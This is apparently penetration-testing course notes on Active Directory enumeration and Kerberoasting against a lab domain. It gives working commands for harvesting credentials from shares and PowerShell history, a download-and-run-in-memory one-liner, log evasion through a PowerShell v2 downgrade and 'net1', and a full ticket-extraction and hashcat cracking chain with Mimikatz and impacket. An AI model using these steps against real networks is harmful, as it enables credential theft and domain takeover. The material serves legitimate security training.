The query chosen to produce the map above was `Find Shortest Paths To Domain Admins`. ## Credentialed Enumeration - from Windows SharpHound/BloodHound, PowerView/SharpView, Grouper2, Snaffler, and some built-in tools useful for AD enumeration. At this point, we are interested in other misconfigurations and permission issues that could lead to lateral and vertical movement. We are also interested in getting a bigger picture of how the domain is set up, i.e., do any trusts exist with other domains both inside and outside the current forest? We're also interested in pillaging file shares that our user has access to, as these often contain sensitive data such as credentials that can be used to further our access. *** The first tool we will explore is the [ActiveDirectory PowerShell module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps). When landing on a Windows host in the domain, especially one an admin uses, there is a chance you will find valuable tools and scripts on the host. ### ActiveDirectory PowerShell Module The ActiveDirectory PowerShell module is a group of PowerShell cmdlets for administering an Active Directory environment from the command line Before we can utilize the module, we have to make sure it is imported first. The [Get-Module](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-module?view=powershell-7.2) cmdlet, which is part of the [Microsoft.PowerShell.Core module](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/?view=powershell-7.2), will list all available modules, their version, and potential commands for use. This is a great way to see if anything like Git or custom administrator scripts are installed. If the module is not loaded, run `Import-Module ActiveDirectory` to load it for use. **Discover Modules** ```powershell Get-Module ``` **Load ActiveDirectory Module** ```powershell Import-Module ActiveDirectory ``` #### Get Domain Info ```powershell Get-ADDomain ``` This will print out helpful information like the domain SID, domain functional level, any child domains, and more. Next, we'll use the [Get-ADUser](https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2022-ps) cmdlet. We will be filtering for accounts with the `ServicePrincipalName` property populated. This will get us a listing of accounts that may be susceptible to a Kerberoasting attack, which we will cover in-depth after the next section. **Get-ADUser** ```powershell Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ``` Another interesting check we can run utilizing the ActiveDirectory module, would be to verify domain trust relationships using the [Get-ADTrust](https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adtrust?view=windowsserver2022-ps) cmdlet **Checking For Trust Relationships** ```powershell Get-ADTrust -Filter * ``` This cmdlet will print out any trust relationships the domain has. We can determine if they are trusts within our forest or with domains in other forests, the type of trust, the direction of the trust, and the name of the domain the relationship is with. This will be useful later on when looking to take advantage of child-to-parent trust relationships and attacking across forest trusts. Next, we can gather AD group information using the [Get-ADGroup](https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps) cmdlet. **Group Enumeration** ```powershell Get-ADGroup -Filter * | select name ``` We can take the results and feed interesting names back into the cmdlet to get more detailed information about a particular group like so: ```powershell Get-ADGroup -Identity "Backup Operators" ``` Now that we know more about the group, let's get a member listing using the [Get-ADGroupMember](https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroupmember?view=windowsserver2022-ps) cmdlet. #### Group Membership ```powershell Get-ADGroupMember -Identity "Backup Operators" ``` ### PowerView [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) is a tool written in PowerShell to help us gain situational awareness within an AD environment. Much like BloodHound, it provides a way to identify where users are logged in on a network, enumerate domain information such as users, computers, groups, ACLS, trusts, hunt for file shares and passwords, perform Kerberoasting, and more. Let's examine some of PowerView's capabilities and see what data it returns. The table below describes some of the most useful functions PowerView offers. | **Command** | **Description** | | ----------------------------------- | ------------------------------------------------------------------------------------------ | | `Export-PowerViewCSV` | Append results to a CSV file | | `ConvertTo-SID` | Convert a User or group name to its SID value | | `Get-DomainSPNTicket` | Requests the Kerberos ticket for a specified Service Principal Name (SPN) account | | **Domain/LDAP Functions:** | | | `Get-Domain` | Will return the AD object for the current (or specified) domain | | `Get-DomainController` | Return a list of the Domain Controllers for the specified domain | | `Get-DomainUser` | Will return all users or specific user objects in AD | | `Get-DomainComputer` | Will return all computers or specific computer objects in AD | | `Get-DomainGroup` | Will return all groups or specific group objects in AD | | `Get-DomainOU` | Search for all or specific OU objects in AD | | `Find-InterestingDomainAcl` | Finds object ACLs in the domain with modification rights set to non-built in objects | | `Get-DomainGroupMember` | Will return the members of a specific domain group | | `Get-DomainFileServer` | Returns a list of servers likely functioning as file servers | | `Get-DomainDFSShare` | Returns a list of all distributed file systems for the current (or specified) domain | | **GPO Functions:** | | | `Get-DomainGPO` | Will return all GPOs or specific GPO objects in AD | | `Get-DomainPolicy` | Returns the default domain policy or the domain controller policy for the current domain | | **Computer Enumeration Functions:** | | | `Get-NetLocalGroup` | Enumerates local groups on the local or a remote machine | | `Get-NetLocalGroupMember` | Enumerates members of a specific local group | | `Get-NetShare` | Returns open shares on the local (or a remote) machine | | `Get-NetSession` | Will return session information for the local (or a remote) machine | | `Test-AdminAccess` | Tests if the current user has administrative access to the local (or a remote) machine | | **Threaded 'Meta'-Functions:** | | | `Find-DomainUserLocation` | Finds machines where specific users are logged in | | `Find-DomainShare` | Finds reachable shares on domain machines | | `Find-InterestingDomainShareFile` | Searches for files matching specific criteria on readable shares in the domain | | `Find-LocalAdminAccess` | Find machines on the local domain where the current user has local administrator access | | **Domain Trust Functions:** | | | `Get-DomainTrust` | Returns domain trusts for the current domain or a specified domain | | `Get-ForestTrust` | Returns all forest trusts for the current forest or a specified forest | | `Get-DomainForeignUser` | Enumerates users who are in groups outside of the user's domain | | `Get-DomainForeignGroupMember` | Enumerates groups with users outside of the group's domain and returns each foreign member | | `Get-DomainTrustMapping` | Will enumerate all trusts for the current domain and any others seen. | First up is the [Get-DomainUser](https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainUser/) function. This will provide us with information on all users or specific users we specify. ```powershell Get-DomainUser -Identity -Domain inlanefreight.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol ``` We can use the [Get-DomainGroupMember](https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainGroupMember/) function to retrieve group-specific information. Adding the `-Recurse` switch tells PowerView that if it finds any groups that are part of the target group (nested group membership) to list out the members of those groups. ```powershell Get-DomainGroupMember -Identity "Domain Admins" -Recurse ``` Now we know who to target for potential elevation of privileges. Like with the AD PowerShell module, we can also enumerate domain trust mappings. ```powershell Get-DomainTrustMapping ``` We can use the [Test-AdminAccess](https://powersploit.readthedocs.io/en/latest/Recon/Test-AdminAccess/) function to test for local admin access on either the current machine or a remote one. ```powershell Test-AdminAccess -ComputerName ACADEMY-EA-MS01 ``` Now we can check for users with the SPN attribute set, which indicates that the account may be subjected to a Kerberoasting attack. ```powershell Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName ``` ### SharpView PowerView is part of the now deprecated PowerSploit offensive PowerShell toolkit The tool has been receiving updates by BC-Security as part of their [Empire 4](https://github.com/BC-SECURITY/Empire/blob/master/empire/server/data/module_source/situational_awareness/network/powerview.ps1) framework. Empire 4 is BC-Security's fork of the original Empire project and is actively maintained as of April 2022. Another tool worth experimenting with is SharpView, a .NET port of PowerView. Many of the same functions supported by PowerView can be used with SharpView. We can type a method name with `-Help` to get an argument list. ```powershell .\SharpView.exe Get-DomainUser -Help ``` Here we can use SharpView to enumerate information about a specific user ```powershell .\SharpView.exe Get-DomainUser -Identity forend ``` Though evasion is not in scope for this module, SharpView can be useful when a client has hardened against PowerShell usage or we need to avoid using PowerShell. ### Shares We can use PowerView to hunt for shares and then help us dig through them or use various manual commands to hunt for common strings such as files with `pass` in the name. This can be a tedious process, and we may miss things, especially in large environments. Now, let's take some time to explore the tool `Snaffler` and see how it can aid us in identifying these issues more accurately and efficiently. ### Snaffler [Snaffler](https://github.com/SnaffCon/Snaffler) is a tool that can help us acquire credentials or other sensitive data in an Active Directory environment. Snaffler works by obtaining a list of hosts within the domain and then enumerating those hosts for shares and readable directories. Once that is done, it iterates through any directories readable by our user and hunts for files that could serve to better our position within the assessment. Snaffler requires that it be run from a domain-joined host or in a domain-user context. ```batch Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data ``` The `-s` tells it to print results to the console for us, the `-d` specifies the domain to search within, and the `-o` tells Snaffler to write results to a logfile. The `-v` option is the verbosity level. Snaffler can produce a considerable amount of data, so we should typically output to file and let it run and then come back to it later. It can also be helpful to provide Snaffler raw output to clients as supplemental data during a penetration test as it can help them zero in on high-value shares that should be locked down first. We may find passwords, SSH keys, configuration files, or other data that can be used to further our access. Snaffler color codes the output for us and provides us with a rundown of the file types found in the shares. ### BloodHound As discussed in the previous section, `Bloodhound` is an exceptional open-source tool that can identify attack paths within an AD environment by analyzing the relationships between objects When used correctly and coupled with custom Cipher queries, BloodHound may find high-impact, but difficult to discover, flaws that have been present in the domain for years. First, we must authenticate as a domain user from a Windows attack host positioned within the network (but not joined to the domain) or transfer the tool to a domain-joined host. We'll start by running the SharpHound.exe collector from the MS01 attack host. ```batch .\SharpHound.exe -c All --zipfilename ILFREIGHT ``` Next, we can exfiltrate the dataset to our own VM or ingest it into the BloodHound GUI tool on the attack host (intended as Windows machine in client's network). Next, click on the `Upload Data` button on the right-hand side, select the newly generated zip file, and click `Open`. An `Upload Progress` window will pop up. Once all .json files show 100% complete, click the X at the top of that window We can start by typing `domain:` in the search bar on the top left and choosing `INLANEFREIGHT.LOCAL` from the results. Now, let's check out a few pre-built queries in the `Analysis` tab. The query `Find Computers with Unsupported Operating Systems` is great for finding outdated and unsupported operating systems running legacy software. Sometimes we will see hosts that are no longer powered on but still appear as records in AD. We should always validate whether they are "live" or not before making recommendations in our reports. We may write up a high-risk finding for Legacy Operating Systems or a best practice recommendation for cleaning up old records in AD. We can run the query `Find Computers where Domain Users are Local Admin` to quickly see if there are any hosts where all users have local admin rights. If this is the case, then any account we control can typically be used to access the host(s) in question, and we may be able to retrieve credentials from memory or find other sensitive data. ## Living Off the Land ### Env Commands For Host & Network Recon **Basic Enumeration Commands** | **Command** | **Result** | | ------------------------------------------------------- | ------------------------------------------------------------------------------------------ | | `hostname` | Prints the PC's Name | | `[System.Environment]::OSVersion.Version` | Prints out the OS version and revision level | | `wmic qfe get Caption,Description,HotFixID,InstalledOn` | Prints the patches and hotfixes applied to the host | | `ipconfig /all` | Prints out network adapter state and configurations | | `set` | Displays a list of environment variables for the current session (ran from CMD-prompt) | | `echo %USERDOMAIN%` | Displays the domain name to which the host belongs (ran from CMD-prompt) | | `echo %logonserver%` | Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt) | We can cover the information above with one command [systeminfo](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo). ```powershell systeminfo ``` ### Harnessing PowerShell | **Cmd-Let** | **Description** | | -------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `Get-Module` | Lists available modules loaded for use. | | `Get-ExecutionPolicy -List` | Will print the [execution policy](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.2) settings for each scope on a host. | | `Set-ExecutionPolicy Bypass -Scope Process` | This will change the policy for our current process using the `-Scope` parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won't be making a permanent change to the victim host. | | `Get-ChildItem Env: \| ft Key,Value` | Return environment values such as key paths, users, computer information, etc. | | `Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt` | With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords. | | `powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); "` | This is a quick and easy way to download a file from the web using PowerShell and call it from memory. | Powershell event logging was introduced as a feature with Powershell 3.0 and forward. With that in mind, we can attempt to call Powershell version 2.0 or older. If successful, our actions from the shell will not be logged in Event Viewer. **Downgrade Powershell** ```powershell powershell.exe -version 2 ``` Let's check and see if we are still writing logs. The primary place to look is in the `PowerShell Operational Log` found under `Applications and Services Logs > Microsoft > Windows > PowerShell > Operational`. All commands executed in our session will log to this file. The `Windows PowerShell` log located at `Applications and Services Logs > Windows PowerShell` is also a good place to check.
#### Checking Defenses The next few commands utilize the [netsh](https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts) and [sc](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/sc-query) utilities to help us get a feel for the state of the host when it comes to Windows Firewall settings and to check the status of Windows Defender. **Firewall Checks** ```batch netsh advfirewall show allprofiles ``` **Windows Defender Check (from CMD.exe)** ```batch sc query windefend ``` Below we will check the status and configuration settings with the [Get-MpComputerStatus](https://docs.microsoft.com/en-us/powershell/module/defender/get-mpcomputerstatus?view=windowsserver2022-ps) cmdlet in PowerShell. ```powershell Get-MpComputerStatus ``` We can tell how often scans are run, if the on-demand threat alerting is active, and more. This is also great info for reporting. Often defenders may think that certain settings are enabled or scans are scheduled to run at certain intervals. If that's not the case, these findings can help them remediate those issues. ### Am I Alone? When landing on a host for the first time, one important thing is to check and see if you are the only one logged in. If you start taking actions from a host someone else is on, there is the potential for them to notice you. ```powershell qwinsta ``` ### Network Information | **Networking Commands** | **Description** | | ------------------------------------ | ---------------------------------------------------------------------------------------------------------------- | | `arp -a` | Lists all known hosts stored in the arp table. | | `ipconfig /all` | Prints out adapter settings for the host. We can figure out the network segment from here. | | `route print` | Displays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host. | | `netsh advfirewall show allprofiles` | Displays the status of the host's firewall. We can determine if it is active and filtering traffic. | {% hint style="info" %} Using `arp -a` and `route print` will not only benefit in enumerating AD environments, but will also assist us in identifying opportunities to pivot to different network segments in any environment. These are commands we should consider using on each engagement to assist our clients in understanding where an attacker may attempt to go following initial compromise. {% endhint %} ### Windows Management Instrumentation (WMI) [Windows Management Instrumentation (WMI)](https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi) is a scripting engine that is widely used within Windows enterprise environments to retrieve information and run administrative tasks on local and remote hosts. **Quick WMI checks** | **Command** | **Description** | | ------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------ | | `wmic qfe get Caption,Description,HotFixID,InstalledOn` | Prints the patch level and description of the Hotfixes applied | | `wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List` | Displays basic host information to include any attributes within the list | | `wmic process list /format:list` | A listing of all processes on host | | `wmic ntdomain list /format:list` | Displays information about the Domain and Domain Controllers | | `wmic useraccount list /format:list` | Displays information about all local accounts and any domain accounts that have logged into the device | | `wmic group list /format:list` | Information about all local groups | | `wmic sysaccount list /format:list` | Dumps information about any system accounts that are being used as service accounts. | Below we can see information about the domain and the child domain, and the external forest that our current domain has a trust with. This [cheatsheet](https://gist.github.com/xorrior/67ee741af08cb1fc86511047550cdaf4) has some useful commands for querying host and domain info using wmic. In Powershell ```powershell wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress ``` ### Net Commands [Net](https://docs.microsoft.com/en-us/windows/win32/winsock/net-exe-2) commands can be beneficial to us when attempting to enumerate information from the domain. These commands can be used to query the local host and remote hosts, much like the capabilities provided by WMI. We can list information such as: * Local and domain users * Groups * Hosts * Specific users in groups * Domain Controllers * Password requirements We'll cover a few examples below. Keep in mind that `net.exe` commands are typically monitored by EDR solutions and can quickly give up our location if our assessment has an evasive component. **Table of Useful Net Commands** | **Command** | **Description** | | ----------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | | `net accounts` | Information about password requirements | | `net accounts /domain` | Password and lockout policy | | `net group /domain` | Information about domain groups | | `net group "Domain Admins" /domain` | List users with domain admin privileges | | `net group "domain computers" /domain` | List of PCs connected to the domain | | `net group "Domain Controllers" /domain` | List PC accounts of domains controllers | | `net group /domain` | User that belongs to the group | | `net groups /domain` | List of domain groups | | `net localgroup` | All available groups | | `net localgroup administrators /domain` | List users that belong to the administrators group inside the domain (the group `Domain Admins` is included here by default) | | `net localgroup Administrators` | Information about a group (admins) | | `net localgroup administrators [username] /add` | Add user to administrators | | `net share` | Check current shares | | `net user /domain` | Get information about a user within the domain | | `net user /domain` | List all users of the domain | | `net user %username%` | Information about the current user | | `net use x: \computer\share` | Mount the share locally | | `net view` | Get a list of computers | | `net view /all /domain[:domainname]` | Shares on the domains | | `net view \computer /ALL` | List shares of a computer | | `net view /domain` | List of PCs of the domain | **Net Commands Trick** If you believe the network defenders are actively logging/looking for any commands out of the normal, you can try this workaround to using net commands. Typing `net1` instead of `net` will execute the same functions without the potential trigger from the net string. ### Dsquery [Dsquery](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952\(v=ws.11\)) is a helpful command-line tool that can be utilized to find Active Directory objects. The queries we run with this tool can be easily replicated with tools like BloodHound and PowerView, but we may not always have those tools at our disposal `dsquery` will exist on any host with the `Active Directory Domain Services Role` installed, and the `dsquery` DLL exists on all modern Windows systems by default now and can be found at `C:\Windows\System32\dsquery.dll`. **Dsquery DLL** All we need is elevated privileges on a host or the ability to run an instance of Command Prompt or PowerShell from a `SYSTEM` context. Below, we will show the basic search function with `dsquery` and a few helpful search filters. **User Search** ```powershell dsquery user ``` **Computer Search** ```powershell dsquery computer ``` We can use a [dsquery wildcard search](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754232\(v=ws.11\)) to view all objects in an OU, for example. **Wildcard Search** ```powershell dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL" ``` We can, of course, combine `dsquery` with LDAP search filters of our choosing. The below looks for users with the `PASSWD_NOTREQD` flag set in the `userAccountControl` attribute. **Users With Specific Attributes Set (PASSWD\_NOTREQD)** ```powershell dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl ``` The below search filter looks for all Domain Controllers in the current domain, limiting to five results. **Searching for Domain Controllers** ```powershell dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName ``` #### LDAP Filtering Explained You will notice in the queries above that we are using strings such as `userAccountControl:1.2.840.113556.1.4.803:=8192`. These strings are common LDAP queries that can be used with several different tools too, including AD PowerShell, ldapsearch, and many others. Let's break them down quickly: `userAccountControl:1.2.840.113556.1.4.803:` Specifies that we are looking at the [User Account Control (UAC) attributes](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties) for an object. This portion can change to include three different values we will explain below when searching for information in AD (also known as [Object Identifiers (OIDs)](https://ldap.com/ldap-oid-reference-guide/). `=8192` represents the decimal bitmask we want to match in this search. This decimal number corresponds to a corresponding UAC Attribute flag that determines if an attribute like `password is not required` or `account is locked` is set. These values can compound and make multiple different bit entries. Below is a quick list of potential values.
**OID match strings** OIDs are rules used to match bit values with attributes, as seen above. For LDAP and AD, there are three main matching rules: 1. `1.2.840.113556.1.4.803` When using this rule as we did in the example above, we are saying the bit value must match completely to meet the search requirements. Great for matching a singular attribute. 2. `1.2.840.113556.1.4.804` When using this rule, we are saying that we want our results to show any attribute match if any bit in the chain matches. This works in the case of an object having multiple attributes set. 3. `1.2.840.113556.1.4.1941` This rule is used to match filters that apply to the Distinguished Name of an object and will search through all ownership and membership entries. **Logical Operators** When building out search strings, we can utilize logical operators to combine values for the search. The operators `&` `|` and `!` are used for this purpose. For example we can combine multiple [search criteria](https://learn.microsoft.com/en-us/windows/win32/adsi/search-filter-syntax) with the `& (and)` operator like so:\ `(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))` The above example sets the first criteria that the object must be a user and combines it with searching for a UAC bit value of 64 (Password Can't Change). A user with that attribute set would match the filter. You can take this even further and combine multiple attributes like `(&(1) (2) (3))`. The `!` (not) and `|` (or) operators can work similarly. For example, our filter above can be modified as follows:\ `(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))` This would search for any user object that does `NOT` have the Password Can't Change attribute set. When thinking about users, groups, and other objects in AD, our ability to search with LDAP queries is pretty extensive. **List attributes of a user** ```powershell dsquery * "OU=User Accounts,DC=your,DC=domain,DC=com" -filter "(samaccountname=USER)" -attr * ``` # Kerberoasting - Cooking with Fire ## Kerberoasting - from Linux Our enumeration up to this point has given us a broad picture of the domain and potential issues. We have enumerated user accounts and can see that some are configured with Service Principal Names. Let's see how we can leverage this to move laterally and escalate privileges in the target domain. ### Kerberoasting Overview Kerberoasting is a lateral movement/privilege escalation technique in Active Directory environments. This attack targets [Service Principal Names (SPN)](https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names) accounts. SPNs are unique identifiers that Kerberos uses to map a service instance to a service account in whose context the service is running. Domain accounts are often used to run services to overcome the network authentication limitations of built-in accounts such as `NT AUTHORITY\LOCAL SERVICE`. Any domain user can request a Kerberos ticket for any service account in the same domain. This is also possible across forest trusts if authentication is permitted across the trust boundary. All you need to perform a Kerberoasting attack is an account's cleartext password (or NTLM hash), a shell in the context of a domain user account, or SYSTEM level access on a domain-joined host. Finding SPNs associated with highly privileged accounts in a Windows environment is very common. Retrieving a Kerberos ticket for an account with an SPN does not by itself allow you to execute commands in the context of this account. However, the ticket (TGS-REP) is encrypted with the service account’s NTLM hash, so the cleartext password can potentially be obtained by subjecting it to an offline brute-force attack with a tool such as Hashcat. Service accounts are often configured with weak or reused password to simplify administration, and sometimes the password is the same as the username. If the password for a domain SQL Server service account is cracked, you are likely to find yourself as a local admin on multiple servers, if not Domain Admin For example, if the SPN is set to MSSQL/SRV01, we can access the MSSQL service as sysadmin, enable the xp\_cmdshell extended procedure and gain code execution on the target SQL server. ### Kerberoasting - Performing the Attack Depending on your position in a network, this attack can be performed in multiple ways: * From a non-domain joined Linux host using valid domain user credentials. * From a domain-joined Linux host as root after retrieving the keytab file. * From a domain-joined Windows host authenticated as a domain user. * From a domain-joined Windows host with a shell in the context of a domain account. * As SYSTEM on a domain-joined Windows host. * From a non-domain joined Windows host using [runas](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525\(v=ws.11\)) /netonly. Several **tools** can be utilized to perform the attack: * Impacket’s [GetUserSPNs.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from a non-domain joined Linux host. * A combination of the built-in setspn.exe Windows binary, PowerShell, and Mimikatz. * From Windows, utilizing tools such as PowerView, [Rubeus](https://github.com/GhostPack/Rubeus), and other PowerShell scripts. Obtaining a TGS ticket via Kerberoasting does not guarantee you a set of valid credentials, and the ticket must still be `cracked` offline with a tool such as Hashcat to obtain the cleartext password. TGS tickets take longer to crack than other formats such as NTLM hashes, so often, unless a weak password is set, it can be difficult or impossible to obtain the cleartext using a standard cracking rig. ### Efficacy of the Attack While it can be a great way to move laterally or escalate privileges in a domain, Kerberoasting and the presence of SPNs do not guarantee us any level of access. If cracking is successful High risk. If cracking is not successful Medium risk (passwords can always be changed to something weaker) It is vital to make these types of distinctions in our reports and know when it's ok to lower the risk of a finding when mitigating controls (such as very strong passwords) are in place. ### Performing the Attack We can start by just gathering a listing of SPNs in the domain. To do this, we will need a set of valid domain credentials and the IP address of a Domain Controller. We can authenticate to the Domain Controller with a cleartext password, NT password hash, or even a Kerberos ticket. **Listing SPN Accounts with GetUserSPNs.py** ```bash impacket-GetUserSPNs -dc-ip / ``` We can now pull all TGS tickets for offline processing using the `-request` flag. The TGS tickets will be output in a format that can be readily provided to Hashcat or John the Ripper for offline password cracking attempts. **Requesting all TGS Tickets** ```bash impacket-GetUserSPNs -dc-ip / -request ``` We can also be more targeted and request just the TGS ticket for a specific account. Let's try requesting one for just the `sqldev` account. **Requesting a Single TGS ticket** ```bash impacket-GetUserSPNs -dc-ip / -request-user ``` With this ticket in hand, we could attempt to crack the user's password offline using Hashcat. If we are successful, we may end up with Domain Admin rights. To facilitate offline cracking, it is always good to use the `-outputfile` flag to write the TGS tickets to a file that can then be run using Hashcat on our attack system or moved to a GPU cracking rig. **Saving the TGS Ticket to an Output File** 
impacket-GetUserSPNs -dc-ip <IP> <DOMAIN>/<USER> -request-user <UserToRequest> -outputfile sqldev_tgs
Here we've written the TGS ticket for the `sqldev` user to a file named `sqldev_tgs`. Now we can attempt to crack the ticket offline using Hashcat hash mode `13100`. **Cracking the Ticket Offline with Hashcat** ```bash hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt ``` **Testing Authentication against a Domain Controller** ```bash sudo crackmapexec smb -u -p ``` ## Kerberoasting - from Windows Before tools such as `Rubeus` existed, stealing or forging Kerberos tickets was a complex, manual process. Let's begin with the built-in [setspn](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241\(v=ws.11\)) binary to enumerate SPNs in the domain. **Enumerating SPNs with setspn.exe** ```batch setspn.exe -Q */* [...] CN=sqldev,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 [...] ``` We will notice many different SPNs returned for the various hosts in the domain. We will focus on `user accounts` and ignore the computer accounts returned by the tool. Next, using PowerShell, we can request TGS tickets for an account in the shell above and load them into memory. Once they are loaded into memory, we can extract them using `Mimikatz`. ```powershell Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433" ``` Before moving on, let's break down the commands above to see what we are doing (which is essentially what is used by [Rubeus](https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1) when using the default Kerberoasting method): * The [Add-Type](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-type?view=powershell-7.2) cmdlet is used to add a .NET framework class to our PowerShell session, which can then be instantiated like any .NET framework object * The `-AssemblyName` parameter allows us to specify an assembly that contains types that we are interested in using * [System.IdentityModel](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel?view=netframework-4.8) is a namespace that contains different classes for building security token services * We'll then use the [New-Object](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/new-object?view=powershell-7.2) cmdlet to create an instance of a .NET Framework object * We'll use the [System.IdentityModel.Tokens](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens?view=netframework-4.8) namespace with the [KerberosRequestorSecurityToken](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.kerberosrequestorsecuritytoken?view=netframework-4.8) class to create a security token and pass the SPN name to the class to request a Kerberos TGS ticket for the target account in our current logon session We can also choose to retrieve all tickets using the same method, but this will also pull all computer accounts, so it is not optimal. ```powershell setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } ``` Now that the tickets are loaded, we can use `Mimikatz` to extract the ticket(s) from `memory`. ### Extracting Tickets from Memory with Mimikatz ```cmd-session ./mimikatz.exe base64 /out:true kerberos::list /export ``` If we do not specify the `base64 /out:true` command, Mimikatz will extract the tickets and write them to `.kirbi` files. Depending on our position on the network and if we can easily move files to our attack host, this can be easier when we go to crack the tickets. Let's take the base64 blob retrieved above and prepare it for cracking. **Preparing the Base64 Blob for Cracking** ```bash echo "" | tr -d \\n ``` We can place the above single line of output into a file and convert it back to a `.kirbi` file using the `base64` utility. **Placing the Output into a File as .kirbi** ```bash cat encoded_file | base64 -d > sqldev.kirbi ``` Next, we can use [this](https://raw.githubusercontent.com/nidem/kerberoast/907bf234745fe907cf85f3fd916d1c14ab9d65c0/kirbi2john.py) version of the `kirbi2john.py` tool to extract the Kerberos ticket from the TGS file. **Extracting the Kerberos Ticket using kirbi2john.py** ```bash python2.7 kirbi2john.py sqldev.kirbi ``` This will create a file called `crack_file`. We then must modify the file a bit to be able to use Hashcat against the hash. **Modifiying crack\_file for Hashcat** ```bash sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat ``` Now we can check and confirm that we have a hash that can be fed to Hashcat. **Viewing the Prepared Hash** ```bash cat sqldev_tgs_hashcat $krb5tgs$23$*sqldev.kirbi*$813149fb261549a6a1b4965ed49d1ba8$7a8c91b47c534bc258d5c97acf433841b2ef2478b425865dc75c39b1dce7f50dedcc29fc8a97aef8d51a22c5720ee614fcb646e28d854bcdc2c8b362bbfaf62dcd9933c55efeba9d77e4c6c6f524afee5c68dacfcb6607291a20cdfb0ef144055356a7296e33b440754be7f87754ac2e4858348e2aebb7270b2d345047f880e17acc07e27a8f752c372bc83a62d54208d12288893d32afd210191dd3b2c56797bd1a72e35a73a7820be51fbf277b83d8181fff5a05cf21481a7b462ceb01c3761c50952689ed1099827c17c2934131db71bc5142c589cd70ed2ebf57dca3f6226f3b21849529355414433210b8d7bd76fec4eb68a45deebc3e7cc931ed8769328536769123f5040d6771915cdbc6c90164669fac72d23a631fef25804b5c8ec39680a4cc2959929edce34bbee6aff135bcbbb26a41a4b4e88b936896d4662ac849f56d7d68071be139cf4dfaf66497015297f9b44cdaef096c8d00255ec3e62f7105d905d0b2f39cef83db4d812718f95e8c99129f3207b386b4c32f7d57befd411e19c218148d19028eb0103d6be99ae23a454f6f3b0339d00d27879f342598937596cadad068ac3d815952a053f87d87b2584784b9d83050eea9a7c6474cde26c90f4a3546076a40ed374d004c465f654623499ca14e9c11538012cf00dee315e2ed444293822502d7f685022e61f3568e1db25b5cfe5a89b33878b6e3db05e9d91ad63820fcb7d0449e66add13f1efceddda95339db3dc919f1caff9690e54b3e4f9a8cf6998a9f9bf55c7a2ed2c87382e9da60f7ca3c22e08cc359f3ef6f4603a5af2fc28303bf3602ab9bc52026e58c27fb247fd4210f45244fd71484685b837fe9573a53964d54acfde7f963028764e99bea7b77139cb651328e862e43d894638288eace99b6d4f8b6684150db9adc43254143b77f32eb